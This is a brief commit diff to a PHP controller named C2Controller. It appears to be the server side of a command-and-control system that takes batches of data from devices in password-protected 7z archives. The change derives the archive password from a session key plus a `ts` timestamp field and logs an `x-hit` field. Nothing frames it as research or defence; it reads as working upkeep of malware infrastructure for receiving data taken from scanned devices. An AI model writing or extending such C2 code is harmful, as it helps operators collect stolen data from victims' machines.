init

server/app/Http/Controllers/C2/C2Controller.php

@@ -115,9 +115,13 @@ class C2Controller extends Controller
             $deviceKey ? (string) $deviceKey : null
         );
 
+        // Archive password = session_key || batchBaseTimestampString.
+        // Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
+        // in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
         $batchBase = (string) ($request->input('batchBase')
             ?? $request->input('batch_base')
             ?? $request->input('base')
+            ?? $request->input('ts')
             ?? '0');
         if ($batchBase === '') {
             $batchBase = '0';
@@ -128,6 +132,8 @@ class C2Controller extends Controller
             'total' => $request->input('total'),
             'index' => $request->input('index'),
             'batchBase' => $batchBase,
+            'ts' => $request->input('ts'),
+            'x-hit' => $request->input('x-hit'),
         ];
 
         $attachmentRel = null;